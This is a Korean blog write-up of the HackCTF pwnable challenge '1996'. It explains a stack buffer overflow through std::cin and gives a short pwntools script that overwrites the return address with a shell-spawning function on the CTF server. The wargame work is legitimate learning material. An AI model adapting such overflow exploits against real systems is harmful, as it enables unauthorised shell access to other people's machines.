문제 풀이 환경 : ubuntu 18.04 |
std::cin은 bof가 일어난다는 것을 첨 알았다.
주어진 파일은 문제 바이너리 파일
Analysis
별다른 기능을 하지 않는다. 저기 std:cin으로 name을 입력받는다.
저기서 bof가 일어나길 희망하고 테스트해봤더니 bof가 터진다. 앗싸!
shell 주는 함수도 있으니 return address를 덮으면 되겠다.
How to exploit
return address를 spawn_shell 함수로 덮는다.
Let's exploit
from pwn import *
#p = process('./1996')
p = remote('ctf.j0n9hyun.xyz', 3013)
e = ELF('./1996')
shell = 0x400897
payload = ''
payload += 'A' * 0x418
payload += p64(shell)
p.sendline(payload)
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] RTL_Core 풀이 (32bit, RTL) (0) | 2021.04.05 |
---|---|
[HackCTF : Pwnable] Random key 풀이 (rand) (0) | 2021.03.25 |
[HackCTF : Pwnable] poet 풀이 (64bit, BOF) (0) | 2021.03.24 |
[HackCTF : Pwnable] g++ pwn 풀이 (CPP) (0) | 2021.03.16 |
[HackCTF : Pwnable] RTL_World 풀이 (32bit, RTL) (0) | 2021.03.16 |